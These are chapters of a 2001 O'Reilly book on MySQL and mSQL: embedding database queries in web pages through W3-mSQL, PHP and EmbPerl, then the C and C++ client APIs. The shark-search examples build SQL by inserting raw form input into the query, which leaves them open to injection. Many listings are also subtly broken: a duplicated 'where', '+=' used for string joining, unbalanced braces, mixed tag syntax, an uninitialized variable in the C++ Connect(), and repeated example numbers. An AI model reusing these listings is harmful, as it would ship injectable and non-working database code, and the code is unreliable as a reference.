Copyright © 2001 O'Reilly & Associates. All rights reserved.


PHP and Other Support for Database-driven HTML (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 12. PHP and Other Support for Database-driven HTML

Contents:

Alternatives for Dynamic Content on the Web
W3-mSQL
PHP
Embedded Perl

Several easy-to-use program HTML extensions provide support for accessing MySQL and mSQL database servers within web pages. In this chapter, we will start with W3-mSQL -- a mSQL-specific tool. We will then show how to take the more database-independent approach with PHP and two minor Perl extensions. The W3-mSQL scripting language, Lite, lets you embed entire programs into an HTML file. A CGI program executes the script and sends the result to the reader as a dynamically created HTML document.

Since W3-mSQL and the other extensions in this chapter use their own scripting languages and hide all evidence of CGI, knowledge of the previous chapters of this section is not necessary for this chapter. However, understanding how CGI works, as well as having some prior programming experience (Lite is similar to both C and Perl), can be useful when reading this chapter.

12.1. Alternatives for Dynamic Content on the Web

The World Wide Web's first encounter with what we now call Dynamic HTML was Server Side Includes (SSI). The idea behind SSI is that there are certain common values, such as the current date and time, that would be useful to include in an HTML page but impracticable because they change so often. SSI provided a method by which an HTML page could tell the server to insert a value into the HTML page before sending it to the end user. That way the value would always be current, but the creator of the page would not have to continuously update it. Within an HTML page, a typical SSI directive looks like this:

<!--#echo var="DATE_LOCAL" -->

The problem with SSI is that there is a very limited set of information that the server can easily provide. Once you get past date, time, and the ability to include other files there is not much else available without seriously bloating the web server itself.

It quickly became apparent that if the web server itself did not provide dynamic HTML, it could come from only two other sources. The client -- that is, the web browser -- could interpret the commands or some other program on the server machine could preprocess the commands, outputting plain HTML to the end users.

The first road is what led to JavaScript and other similar technologies. With JavaScript, as with SSI, commands are embedded within the HTML. Unlike SSI, the server does not touch JavaScript commands; instead, the web browser handles them. This method allows for much greater interaction with the user. For instance, using JavaScript you may specify that an action take place when the user moves the mouse over different parts of the screen. In this way, it becomes possible to create a feeling of immediacy and interactivity not otherwise possible. Following is an example of typical JavaScript code:

<SCRIPT>
<! onMouseOver("do the jig"); -->
</script>

The problem with client-side solutions, such as JavaScript, is that as soon as the client is finished downloading the page, the connection with the server is lost. Very often there are resources on the server machine, such as database servers, with which we would like to interact. However, with client-side scripting it is usually either impossible or impractical to communicate with the server or any other remote machine after the page has loaded. This type of functionality is best suited for a server side solution.

With a server-side interpreter, an HTML document is examined before being sent to the end user. Some program, usually a CGI program, looks for and executes programming code embedded in the HTML. The advantage of this system is that you gain all of the power of a CGI program while hiding much of the complexity.

Consider a marine foundation that has a database containing information about sharks. This database has vital statistics of the various shark species, as well as filenames pointing to images of the creatures. Creating a web interface to this database is an ideal application of server-side interpreted HTML. All of the output pages containing information about a particular shark will be formatted similarly. In the few places where dynamic data from the database is required, commands can be inserted which will be executed before the user sees the page. You can even generate dynamic <IMG> tags that show the desired pictures. Later in the chapter we will look at how to implement this example using a variety of server-side interpreters.

Previous | Home | Next
11.2. Dynamic Connectivity | Book Index | 12.2. W3-mSQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


W3-mSQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

12.2. W3-mSQL

W3-mSQL is actually a single CGI program called w3-msql. The program filters HTML pages that have embedded W3-mSQL commands and sends the resultant purified HTML to the client. W3-mSQL commands are written in a custom programming language called Lite. Lite is in many ways similar to Perl and C, but is specifically designed to interact with the mSQL database. A quick reference of Lite functions is included at the end of Chapter 18, "PHP and Lite Reference". To accomplish this, the path of the W3-mSQL enhanced HTML file is added to the w3-msql URL, e.g. http://www.me.com/cgi-bin/w3-msql/~me/mypage.html.

Within the HTML file, anything within the <! > tag is interpreted as Lite commands. For instance, the Lite equivalent of the "Hello world!" program would be:

<HTML><HEAD><TITLE>Hello world!</title></head>
<BODY>
<!
   echo("Hello world!");
>
</body></html>

Anything in the file that is not within <! > tags is left as plain HTML.

mSQL installs the w3-msql program automatically, so all you should have to do is place it into your cgi-bin directory and you will be set to go.

12.2.1. W3-Auth

W3-Auth is a mechanism for providing security to W3-mSQL driven pages. It is included with W3-mSQL and is installed automatically along with mSQL. With W3-Auth you can create a hierarchy of users and groups that are allowed to use various W3-mSQL enhanced pages.

W3-Auth works on the idea of using three separate levels of security access: user, group, and area. A user is a single name that usually refers to a single person, much like usernames in Unix. A group is just a collection of users. An area is a section of your web site that you wish to protect.

This scheme is particularly useful for sites that use multiple virtual hosts on the same web server. For instance, let's say that your machine goes by the names server1, server2, and server3. A different group of people administers each of these different names. With W3-Auth you can set up usernames for each person, then set up groups for each site name. Finally, you can create three different areas encompassing the three sites. The members of each group would then be able to administer the permissions for their W3-mSQL enhanced page without being able to affect the other sites.

12.2.2. Installation

Both the W3-mSQL and W3-Auth programs are compiled and installed automatically with the mSQL distribution. After installation they can be found in MSQL_HOME/bin where MSQL_HOME is the location of the mSQL files -- /usr/local/Hughes by default. Both the w3-msql and w3-auth binaries should be copied to the cgi-bin directory or its equivalent of your web server.

Upon installation W3-Auth assumes that the w3-msql program and itself will be made available through the cgi-bin directory of your web site. If you wish to place these programs in another directory, you must manually modify the source code before installing mSQL. Using Perl, this may be done as follows. From the src/w3-msql directory of the mSQL distribution type perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Alternatively, the following shell script will do the job:

#!/bin/sh

# Run this from the src/w3-msql directory of your mSQL source distribution.

for file in 'ls *.c';
do
        sed -e "s/cgi-bin/$1/" $file > $file.tmp
        mv $file.tmp $file
done

Copy this script into your src/w3-msql directory and type the following:

./scriptname yourcgidirectory

Where scriptname is the name of the script and yourcgidirectory is the name of the directory that will hold the w3-msql and w3-auth binaries.

W3-Auth is currently incompatible with the distributed version of the Apache web server due to a minor security feature of Apache. Apache currently does not allow CGI programs to access authentication information. Without this ability, no CGI program (including W3-Auth) can display a standard username/password box to the user and retrieve the results. Because of the importance of Apache to the mSQL community, a patch was quickly released which allows W3-Auth to run with Apache. After applying this patch, you must recompile Apache. Note that applying this patch allows all CGI programs to retrieve username and password information from users browsing the site. Unless you do not trust the people with access to the CGI programs on your machine, this patch is relatively safe.

After you have installed mSQL, there is a script in the misc directory of your mSQL home called setup_www. Running this script creates the databases and tables needed to use W3-Auth on your machine. The script will create a username and password for a person with total control over W3-Auth. Once this script is finished, you can use W3-Auth itself to create and modify other permissions.

12.2.3. W3-mSQL Example

To illustrate the use of W3-mSQL and Lite, consider again the marine foundation. The foundation runs its own web site. On this web site is an interactive database containing information on the various species of sharks in the oceans. For our example, the user will first encounter a plain HTML page that contains a form. By choosing the values on the form, the user can search through the shark database to retrieve information about a specific species. The HTML form could look something like the following:

<HTML><HEAD><TITLE>SHARKS!</title></head>
<BODY BGCOLOR="white">
<h1>Search the shark database</h1>
<p>
<FORM METHOD=POST ACTION="/cgi-bin/w3-msql/~sharks/search_result.html">
Species: <SELECT NAME="species">
<OPTION>
<OPTION>Heterodontus Portusjackson
<OPTION>Galeocerdo Cuvier
<OPTION>Carcharodon Carcharias
<OPTION>Isurus Paucus
</select>
Age: <SELECT NAME="age">
<OPTION>
<OPTION>Young
<OPTION>Adult
<OPTION>Old
</select>
Location: <SELECT NAME="location">
<OPTION>
<OPTION>Atlantic
<OPTION>Pacific
<OPTION>Caribean
<select>
<p>
<INPUT TYPE="SUBMIT" VALUE=" SUBMIT "> <INPUT TYPE=RESET>
</form>
</body>
</html>

The mSQL containing the information about the sharks has the following structure:

+-----------------+----------+--------+----------+--------------+
 |     Field       |   Type   | Length | Not Null | Unique Index |
 +-----------------+----------+--------+----------+--------------+
 | id              | int      | 100    | Y        | N/A          |
 | species         | char     | 1000   | N        | N/A          |
 | age             | int      | 2000   | N        | N/A          |
 | location        | char     | 1000   | N        | N/A          |
 +-----------------+----------+--------+----------+--------------+

The HTML file /~sharks/search_result.html is a W3-mSQL enhanced file that retrieves the information about the requested species and displays an information file about that shark.

<HTML>
<HEAD><TITLE>Shark Search Result</title></head>
<BODY>
<H1>Here are the sharks that match your search...</h1>
<p>
<!
   $sock = msqlConnect();
   if ($sock < 0) {
      echo("Error : $ERRMSG\n");
      exit(1);
   }
   if (msqlSelectDB($sock,"sharks") < 0) {
      echo("Error : $ERRMSG\n");
      exit(1);
   }
   /* We now start to build the query. When finished, a typical query
    * will look something like this:
    * SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2
    */
   $query = "select * from sharks ";

   if ($species || $age || $location) {
      $query += " where ";
   }

   if ($species) { $query += "species = '$species'"; }
   if ($age) {
      if ($species) { $query += " and "; }
      $query += "age = $age";
   }
   if ($location) {
      if ($species || $age) { $query += " and "; }
      $query += "location = '$location''";
   }
   if (msqlQuery($sock,$query) < 0) {
      echo("Error : $ERRMSG\n");
      exit(1);
   }
   $result = msqlStoreResult();
   $numresults = msqlNumRows($result);
>

<UL>

<!
   if (! $numresults ) {
      echo ("<H2>No results matched</h2>");
   else {
      $shark = msqlFetchRow($result);
      while (#$shark > 0) {
         $id = $shark[0];
         echo("<LI>");
         printf("<IMG SRC=\"graphics/shark%s.gif\" ALIGN=LEFT>", $shark[0]);
         echo("<B>Species:</b> $shark[1]<br>");
         if ($shark[2] == 1) { $age = "Young"; }
         else if ($shark[2] == 2) { $age = "Adult"; }
         else if {$shark[2] == 3) { $age = "Old"; }
         echo("<B>Age:</b> $age<br>");
         echo("<B>Location</b> $shark[3]<br>");
         $shark = msqlFetchRow($result);
      }
   }
>
</ul>
<A HREF="search.html">Search again</a>
</body></html>

Notice that the Lite code and the HTML can be arbitrarily intermixed. Anywhere that there is static HTML you can end the Lite code and enter just the HTML. This becomes particularly useful when you have a largely static page where some dynamic content is desired.

Also, notice that at one point in the page, a tag for an image of the current shark is generated using the ID number of the shark. This is a useful way to include information that is not conveniently stored in a database. Because of mSQL's inability to handle blobs, it is often useful to store pictures, other binary data, or even large amounts of text as plain files tagged with the unique ID of the database entry.

Previous | Home | Next
12. PHP and Other Support for Database-driven HTML | Book Index | 12.3. PHP
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


PHP (MySQL & mSQL)

 MySQL and mSQLSearch this book

12.3. PHP

By its very nature, W3-mSQL is highly specialized for use with the mSQL database server. If you are using MySQL, or if your needs are not covered by W3-mSQL, there are other HTML preprocessors available that offer database support.

PHP, which stands for "PHP: Hypertext Preprocessor," is an application very similar to W3-mSQL in spirit. They are both CGI programs that interpret HTML before sending a final page to the browser. They both have their own built-in scripting language. Moreover, they both have tightly integrated database capabilities. However, PHP extends beyond the range of W3-mSQL by offering compatibility with several database servers, including both MySQL and mSQL.

PHP's scripting language is also more extensive, covering more possible applications than W3-mSQL. In short, you should use PHP unless you are definitely wedded to mSQL as a database server, in which case some of W3-mSQL's optimizations may suit you.

If you use PHP, the HTML example shown earlier which retrieve information from a shark database would now look as follows:

<HTML>
<HEAD><TITLE>Shark Search Result</title></head>
<BODY>
<H1>Here are the sharks that match your search...</h1>
<p>
<?
/* We now start to build the query. When finished, a typical query
* will look something like this:
* SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2
*/

   $query = "select * from sharks where ";

   if ($species || $age || $location) {
      $query += " where ";
   }

   if ($species) { $query += "species = '$species'"; }
   if ($age) {
      if ($species) { $query += " and "; }
      $query += "age = $age";
   }
   if ($location) {
      if ($species || $age) { $query += " and "; }
      $query += "location = '$location'";
   }
   $result = msql("sharks",$query);
   if (result == -1) {
      echo("Error : $phperrmsg\n");
      exit(1);
   }
   $numresults = msql_numrows($result);
>

<UL>

<!
   if (! $numresults );
>
 <H2>No results matched</h2>
<!
   else {
      while ($i < $numresults) {
         $id[$i] = msql_result($result,$i,"id");
         $species[$i] = msql_result($result,$i,"species");
         $age[$i] = msql_result($result,$i,"age");
         $loc[$i] = msql_result($result,$i,"location");
         echo("<LI>");
         printf("<IMG SRC=\"graphics/shark%s.gif\" ALIGN=LEFT>", $id[$i]);
         echo("<B>Species:</b> $species[$i]<br>");
         if ($age[$i] == 1) { $age = "Young"; }
         else if ($age[$i] == 2) { $age = "Adult"; }
         else if {$age[$i] == 3) { $age = "Old"; }
         echo("<B>Age:</b> $age<br>");
         echo("<B>Location</b> $location[$i]<br>");
      }
   }
>
</ul>
<A HREF="search.html">Search again</a>
</body></html>
Previous | Home | Next
12.2. W3-mSQL | Book Index | 12.4. Embedded Perl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Embedded Perl (MySQL & mSQL)

 MySQL and mSQLSearch this book

12.4. Embedded Perl

Several Perl modules and related programs let you embed Perl code into an HTML document. A CGI program then executes this code before sending the final HTML file to the browser.

The most obvious advantage that these solutions have over W3-mSQL and PHP is that the scripting language used in the HTML file is regular Perl. Although they may be easy to learn and similar to C and Perl in style, Lite and the PHP scripting language are unique, proprietary languages that exist only for their one use. Perl, on the other hand, is virtually ubiquitous. It is a standardized programming language with years of bug elimination and extensive security features. There is a persuasive argument to using this sort of solution.

12.4.1. ePerl

The first application that allowed embedding Perl code within ASCII text, such as an HTML document, was ePerl. The ePerl program itself is written in C and is meant to be a general purpose Perl interpreter for ASCII documents. It works fine for HTML but does not have the HTML- or web-specific enhancements of some other packages.

12.4.2. EmbPerl

EmbPerl is a more recent creation than ePerl, which is more specifically focused on HTML and the web. There are additional "metacommands" -- HTML style tags processed by EmbPerl -- that allow flow control and other programming features within the HTML itself.

As an example of Perl code embedded within an HTML file, consider the shark database output form used earlier. We will use EmbPerl for our example, but since we are using a standard language (Perl) the code in the page would be nearly identical between the different Perl embedders.

<HTML>
<HEAD><TITLE>Shark Search Result</title></head>
<BODY>
<H1>Here are the sharks that match your search...</h1>
<p>
[-
   use Msql;
   use CGI qw(:standard);

   $dbh = Msql->connect;
   $dbh->selectdb("sharks");

   %age = ( '0' => 'Young',
            '1' => 'Adult',
            '2' => 'Old'
          );
   # We now start to build the query. When finished, a typical query
   # will look something like this:
   # SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

   $query = "select * from sharks";
   if ($species or $age or $location) {
      $query .= " where ";
      $query .= join(" and ", param);
   }

   $result = $dbh->query($query);
   if (result == -1) {
      echo("Error : " . Msql->errmsg . "\n");
      exit(1);
   }
   $numresults = $result->numrows;
-]

<UL>

[$if (! $numresults ) $]
 <H2>No results matched</h2>
[$else$]
   [$while (%shark = $Msql->fetchhash($result)) $]
      <LI>
      <IMG SRC="graphics/shark[+$shark{'id'}+].gif" ALIGN=LEFT>
      <B>Species:</b> [+$shark{'species'}+]<br>
      <B>Age:</b> [+$age{$shark{'age'}}+]<br>
      <B>Location</b> [+$shark{'location'}+]<br>
   [$endwhile$]
[$endif]
</ul>
<A HREF="search.html">Search again</a>
</body></html>

Previous | Home | Next
12.3. PHP | Book Index | 13. C and C++
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


C and C++ (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 13. C and C++

Contents:

The Two APIs
Object-oriented Database Access in C++

In this book, we examine several different programming languages, Python, Java, Perl, and C. Of these languages, C/C++ is by far the most challenging. With the other languages, your primary concern is the formulation of SQL, the passing of that SQL to a function call, and the manipulation of the resulting data. C adds the very complex issue of memory management into the mix.

Both MySQL and mSQL provide C libraries that enable the creation of MySQL and mSQL database applications. In fact, MySQL derives its API very heavily from mSQL, meaning that experience programming against one API translates well to the next. As we explored in the first section, however, MySQL is much more feature-rich than mSQL. These extra features naturally result in a few differences between the two APIs. In this chapter, we will examine these differences while coming to understand the details of each API by building an object-oriented C++ API that can be conditionally compiled to run with either API.

13.1. The Two APIs

Whether you are using C or C++, the MySQL and mSQL C APIs are your gateway into the database. How you use them, however, can be very different depending on whether you are using C or the object-oriented features of C++. C database programming must be attacked in a linear fashion, where you step through your application process to understand where the database calls are made and where clean up needs to occur. Object-oriented C++, on the other hand, requires an OO interface into the API of your choice. The objects of that API can then take on some of the responsibility for database resource management.

Table 13-1 shows the function calls of each API side by side. We will go into the details of how these functions are used later in the chapter. Right now, you should just take a minute to see how the two APIs compare and note what is available to you. Naturally, the reference section lists each of these methods with detailed prototype information, return values, and descriptions.

Table 13-1. The C APIs for MySQL and mSQL

MySQL | mSQL
mysql_affected_rows() | See msqlQuery()
mysql_close() | msqlClose()
mysql_connect() | msqlConnect()
myql_create_db() |
mysql_data_seek() | msqlDataSeek()
mysql_drop_db() |
mysql_eof() |
mysql_error() |
mysql_fetch_field() | msqlFetchField()
mysql_fetch_lengths() |
mysql_fetch_row() | msqlFetchRow()
mysql_field_count() |
mysql_field_seek() | msqlFieldSeek()
mysql_free_result() | msqlFreeResult()
mysql_get_client_info() |
mysql_get_host_info() |
mysql_get_proto_info() |
mysql_get_server_info() |
mysql_init() |
mysql_insert_id() |
mysql_list_dbs() | msqlListDBs()
mysql_list_fields() | msqlListFields()
 | msqlListIndex()
mysql_list_processes() |
mysql_list_tables() | msqlListTables()
mysql_num_fields() | msqlNumFields()
mysql_num_rows() | msqlNumRows()
mysql_query() | msqlQuery()
mysql_real_query() |
mysql_reload() |
mysql_select_db() | msqlSelectDB()
mysql_shutdown() |
mysql_stat() |
mysql_store_result() | msqlStoreResult()
mysql_use_result() |

The MySQL API is much larger than the mSQL API in order to account for MySQL's extended feature set. In many cases, MySQL is actually only providing an API interface into database administration functions that are present in both database engines. By just reading the function names, you might have gathered that any database application you write might minimally look something like this:

  1. Connect

  2. Select DB

  3. Query

  4. Fetch row

  5. Fetch field

  6. Close

Example 13-1 shows a simple select statement that retrieves data from a MySQL database using the MySQL C API.

Example 13-1. A Simple Program that Selects All Data in a Test Database and Displays the Data

#include <sys/time.h>
#include <stdio.h>
#include <mysql.h>

int main(char **args) {
    MYSQL_RES *result;
    MYSQL_ROW row;
    MYSQL *connection, mysql;
    int state;

     /* connect to the mySQL database at athens.imaginary.com */
    mysql_init(&mysql);
    connection = mysql_real_connect(&mysql,
                                    "athens.imaginary.com",
                                    0, 0,
                                    "db_test", 0, 0);
    /* check for a connection error */
    if( connection == NULL ) {
        /* print the error message */
        printf(mysql_error(&mysql));
        return 1;
    }
    state = mysql_query(connection,
                        "SELECT test_id, test_val FROM test");
    if( state != 0 ) {
        printf(mysql_error(connection));
        return 1;
    }
    /* must call mysql_store_result() before we can issue any
     * other query calls
     */
    result = mysql_store_result(connection);
    printf("Rows: %d\n", mysql_num_rows(result));
    /* process each row in the result set */
    while( ( row = mysql_fetch_row(result)) != NULL ) {
        printf("id: %s, val: %s\n",
               (row[0] ? row[0] : "NULL"),
               (row[1] ? row[1] : "NULL"));
    }
    /* free the result set */
    mysql_free_result(result);
    /* close the connection */
    mysql_close(connection);
    printf("Done.\n");
}

Of the #include files, both mysql.h and stdio.h should be obvious to you. The mysql.h header contains the prototypes and variables required for MySQL, and stdio.h the prototype for printf(). The sys/time.h header, on the other hand, is not actually used by this application. It is instead required by the mysql.h header as the MySQL file uses definitions from sys/time.h without actually including it. To compile this program using the GNU C compiler, use the command line:

gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -o select select.c\ -lmysql -lnsl -lsocket

You should of course substitute the directory where you have MySQL installed for /usr/local/mysql in the preceding code.

The main() function follows the steps we outlined earlier -- it connects to the server, selects a database, issues a query, processes the result sets, and cleans up the resources it used. We will cover each of these steps in detail as the chapter progresses. For now, you should just take the time to read the code and get a feel for what it is doing. In addition, compare it to the same program written for mSQL shown in Example 13-2.[18]

[18]MySQL comes with a utility called msql2mysql which ostensibly converts any application written against the mSQL API to the MySQL API. It does provide a start at converting mSQL applications, but it leaves a bit of work to be done since MySQL requires extra arguments to some functions.

Example 13-2. The Simple Select Application for mSQL

#include <sys/time.h>
#include <stdio.h>
#include <msql.h>

int main(char **args) {
    int connection, state;
    m_result *result;
    m_row row;

    /* connect to the mSQL database at athens.imaginary.com */
    state = msqlConnect("athens.imaginary.com");
    /* check for a connection error */
    if( state == -1 ) {
        /* print the error message stored in MsqlErrMsg */
        printf(msqlErrMsg);
        return 1;
    }
    else {
        /* the return balue from msqlConnect() is our connection handle */
        connection = state;
    }
    /* select which database to use on the server */
    state = msqlSelectDB(connection, "db_test");
    /* again, -1 means an error */
    if( state == -1 ) {
        printf(msqlErrMsg);
        /* close up our connection before exiting */
        msqlClose(connection);
        return 1;
    }
    state = msqlQuery(connection, "SELECT test_id, test_val FROM test");
    if( state == -1 ) {
        printf(msqlErrMsg);
        return 1;
    }
    else {
        printf("Rows: %d\n", state);
    }
    /* must call msqlStoreResult() before we can issue any
     * other Query() calls
     */
    result = msqlStoreResult();
    /* process each row in the result set */
    while( ( row = msqlFetchRow(result)) != NULL ) {
        printf("id: %s, val: %s\n",
               (row[0] ? row[0] : "NULL"),
               (row[1] ? row[1] : "NULL"));
    }
    /* free the result set */
    msqlFreeResult(result);
    /* close the connection */
    msqlClose(connection);
    printf("Done.\n");
}

The two programs are nearly identical. Other than name differences, there are only a few really dramatic distinguishing features. The most striking difference is the database connection. There are two main qualities of this difference:

  • MySQL is a one-step connect process, where mSQL is a two step process.[19]

    [19]MySQL does support a connection process that directly mirrors the mSQL connection process. If you want, you can use mysql_connect() followed by mysql_select_db() to make a connection along the mSQL model. Unless you are trying to quickly port an application from mSQL, however, mysql_real_connect() is really the proper way to make a connection.

  • MySQL looks for a user name and password. mSQL does not.

As we discussed earlier in the book, MySQL supports a complex level of user authentication with user name and password combinations. mSQL, on the other hand, has a simple authentication scheme based on the user ID of the process connecting to the database. The more robust MySQL scheme is much more desirable in a client/server environment, but it is also much harder to manage as an administrator. For application developers, the result is the need to pass a user name and password to the mysql_real_connect() call when using MySQL in addition to the basic server name used in mSQL.

The first argument of the connection API for MySQL is peculiar at first inspection. It is basically a way to track all calls not otherwise associated with a connection. For example, if you try to connect and the attempt fails, you need to get the error message associated with that failure. The MySQL mysql_error() function, however, requires a pointer to a valid MySQL connection. The null connection you allocate early on provides that connection. You must, however, have a valid reference to that value for the lifetime of your application -- an issue of great importance in more structured environment than a straight "connect, query, close" application. The C++ examples later in the chapter will shed more light on this issue.

The other two major API distinctions lie in the way error handling is done and result set counting is done. The mSQL API creates a global variable that stores error messages. Because MySQL is multithreaded, such a global error variable would not function for its API. It, therefore, uses the mysql_error() function to retrieve error messages associated with the last error raised for the specified connection.

The connection API and error handling are two places where MySQL differs from mSQL in order to provide functionality not found in mSQL. Result set counting is done differently in mSQL in order to provide a better interface than MySQL provides. Specifically, when you send SQL to msqlQuery(), the number of affected rows is returned as the return value (or -1 if an error occurred). Counting affected rows for updates versus rows in a result set for queries thus uses the same paradigm. In MySQL, however, you have to use different paradigms for dealing with queries than with result sets. For queries, you pass the result set to mysql_num_rows() to get the number of rows in the result set. Updates, on the other hand, require you to call another API, mysql_affected_rows(). Where msqlQuery() provides the number of rows matched by the WHERE clause in an update, mysql_affected_rows() actually reports the number of changed rows. As a final note, mSQL does provide a msqlNumRows() method that provides the same interface for result set counting that MySQL provides. It does not provide a counterpart to mysql_affected_rows().

Previous | Home | Next
12.4. Embedded Perl | Book Index | 13.2. Object-oriented Database Access in C++
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Object-oriented Database Access in C++ (MySQL & mSQL)

 MySQL and mSQLSearch this book

13.2. Object-oriented Database Access in C++

The C APIs work great for procedural C development. They do not, however, fit into the object-oriented world of C++ all that well. In order to demonstrate how these two APIs work in real code, we will spend the rest of the chapter using them to create a C++ API for object-oriented database development.

Because we are trying to illustrate MySQL and mSQL database access, we will focus on issues specific to MySQL and mSQL and not try to create the perfect general C++ API. In the MySQL and mSQL world, there are three basic concepts: the connection, the result set, and the rows in the result set. We will use these concepts as the core of the object model on which our library will be based. Figure 13-1 shows these objects in a UML diagram.[20]

[20] UML is the new Unified Modeling Language created by Grady Booch, Ivar Jacobson, and James Rumbaugh as a new standard for documenting the object-oriented design and analysis.

Figure 13-1. Object-oriented database access library

13.2.1. The Database Connection

Database access in any environment starts with the connection. As you saw in the first two examples, MySQL and mSQL have two different ways of representing the same concept -- a connection to the database. We will start our object-oriented library by abstracting on that concept and creating a Connection object. A Connection object should be able to establish a connection to the server, select the appropriate database, send queries, and return results. Example 13-1 is the header file that declares the interface for the Connection object.

Example 13-1. The Connection Class Header

#ifndef l_connection_h
#define l_connection_h

#include <sys/time.h>

#if defined(HAS_MSQL)
#include <msql.h>
#elif defined(HAS_MYSQL)
#include <mysql.h>
#endif

#include "result.h"

class Connection {
private:
    int affected_rows;
#if defined(HAS_MSQL)
    int connection;
#elif defined(HAS_MYSQL)
    MYSQL mysql;
    MYSQL *connection;
#else
    #error No database defined.
#endif

public:
    Connection(char *, char *);
    Connection(char *, char *, char *, char *);
    ~Connection();

    void Close();
    void Connect(char *host, char *db, char *uid, char *pw);
    int GetAffectedRows();
    char *GetError();
    int IsConnected();
    Result *Query(char *);
};

#endif // l_connection_h

The methods the Connection class will expose to the world are uniform no matter which database engine you use. Underneath the covers, however, the class will have private data members specific to the library you compile it against. For making a connection, the only distinct data members are those that represent a database connection. As we noted earlier, mSQL uses an int to represent a connection and MySQL uses a MYSQL pointer with an additional MYSQL value to handle establishing the connection.

13.2.1.1. Connecting to the database

Any applications we write against this API now need only to create a new Connection instance using one of the associated constructors in order to connect to the database. Similarly, an application can disconnect by deleting the Connection instance. It can even reuse a Connection instance by making direct calls to Close() and Connect(). Example 13-1 shows the implementation for the constructors and the Connect() method.

Example 13-1. Connecting to MySQL and mSQL Inside the Connection Class

#include "connection.h"

Connection::Connection(char *host, char *db) {
#if defined(HAS_MSQL)
    connection = -1;
#elif defined(HAS_MYSQL)
    connection = (MYSQL *)NULL;
#else
    #error No database linked.
#endif
    Connect(host, db, (char *)NULL, (char *)NULL);
}

Connection::Connection(char *host, char *db, char *uid, char *pw) {
#if defined(HAS_MSQL)
    connection = -1;
#elif defined(HAS_MYSQL)
    connection = (MYSQL *)NULL;
#else
    #error No database linked.
#endif
    Connect(host, db, uid, pw);
}

void Connection::Connect(char *host, char *db, char *uid, char *pw) {
    int state;

    if( IsConnected() ) {
        throw "Connection has already been established.";
    }
#if defined(HAS_MSQL)
    connection = msqlConnect(host);
    state = msqlSelectDB(connection, db);
#elif defined (HAS_MYSQL)
    mysql_init(&mysql);
    connection = mysql_real_connect(&mysql, host,
                                    uid, pw,
                                    db, 0, 0);
#else
    #error No database linked.
#endif
    if( !IsConnected() ) {
        throw GetError();
    }
    if( state < 0 ) {
        throw GetError();
    }
}

The two constructors are clearly designed to support the different parameters required by MySQL and mSQL connections. The API, nevertheless, should allow for both constructors to work against either database. The API accomplishes this by ignoring the user ID and password when an application using a mSQL calls the 4-argument constructor. Similarly, null values are passed to MySQL for the user ID and password when the 2-argument constructor is called. The actual database connectivity occurs in the Connect() method.

The Connect() method encapsulates all steps required for a connection. For MySQL, it calls mysql_real_connect() . For mSQL, it instead calls msqlConnect() followed by msqlSelectDB() . If either step fails, Connect() throws an exception.

13.2.1.2. Disconnecting from the database

A Connection's other logic function is to disconnect from the database and free up the resources it has hidden from the application. This functionality occurs in the Close() method. Example 13-1 provides all of the functionality for disconnecting from MySQL and mSQL.

Example 13-1. Freeing up Database Resources

Connection::~Connection() {
    if( IsConnected() ) {
        Close();
    }
}

void Connection::Close() {
    if( !IsConnected() ) {
        return;
    }
#if defined(HAS_MSQL)
    msqlClose(connection);
    connection = -1;
#elif defined(HAS_MYSQL)
    mysql_close(connection);
    connection = (MYSQL *)NULL;
#else
    #error No database linked.
#endif
}

The mysql_close() and msqlClose() methods respectively free up the resources associated with connections to MySQL and mSQL.

13.2.1.3. Making Calls to the database

In between opening a connection and closing it, you generally want to send statements to the database. The Connection class accomplishes this via a Query() method that takes a SQL statement as an argument. If the statement was a query, it returns an instance of the Result class from the object model in Figure 13-1. If, on the other hand, the statement was an update, the method will return NULL and set the affected_rows value to the number of rows affected by the update. Example 13-1 shows how the Connection class handles queries against MySQL and mSQL databases.

Example 13-1. Querying the Database

Result *Connection::Query(char *sql) {
    T_RESULT *res;
    int state;

    // if not connectioned, there is nothing we can do
    if( !IsConnected() ) {
        throw "Not connected.";
    }
    // execute the query
#if defined(HAS_MSQL)
    state = msqlQuery(connection, sql);
#elif defined(HAS_MYSQL)
    state = mysql_query(connection, sql);
#else
    #error No database linked.
#endif
    // an error occurred
    if( state < 0 ) {
        throw GetError();
    }
    // grab the result, if there was any
#if defined(HAS_MSQL)
    res = msqlStoreResult();
#elif defined(HAS_MYSQL)
    res = mysql_store_result(connection);
#else
    #error No database linked.
#endif
    // if the result was null, it was an update or an error occurred
    // NOTE: mSQL does not throw errors on msqlStoreResult()
    if( res == (T_RESULT *)NULL ) {
        // just set affected_rows to the return value from msqlQuery()
#if defined(HAS_MSQL)
        affected_rows = state;
#elif defined(HAS_MYSQL)
        // field_count != 0 means an error occurred
        int field_count = mysql_num_fields(connection);

        if( field_count != 0 ) {
            throw GetError();
        }
        else {
            // store the affected_rows
            affected_rows = mysql_affected_rows(connection);
        }
#else
        #error No database linked.
#endif
        // return NULL for updates
        return (Result *)NULL;
    }
    // return a Result instance for queries
    return new Result(res);
}

The first part of a making-a-database call is calling either mysql_query() or msqlQuery() with the SQL to be executed. Both APIs return a nonzero on error. The next step is to call mysql_store_result() or msqlStoreResult() to check if results were generated and make those results usable by your application. At this point, the two database engines differ a bit on the processing details.

Under the mSQL API, msqlStoreResult() will not generate an error. This function is used by an application to move a newly generated result set into storage to be managed by the application instead of by the mSQL API. In other words, when you call msqlQuery(), it stores any results in a temporary area in memory managed by the API. Any subsequent call to msqlQuery() will wipe out that storage area. In order to store that result in an area of memory managed by your application, you need to call msqlStoreResult().

Because msqlStoreResult() does not generate an error, you need to worry about only two possibilities when you make an msqlStoreResult() call. If the call to the database was a query that generated a result set, msqlStoreResult() returns a pointer to an m_result structure to be managed by the application. For any other kind of call (an update, insert, delete, or create), msqlStoreResult() returns NULL. You can then find out how many rows were affected by a non-query through the return value from the original msqlQuery() call.

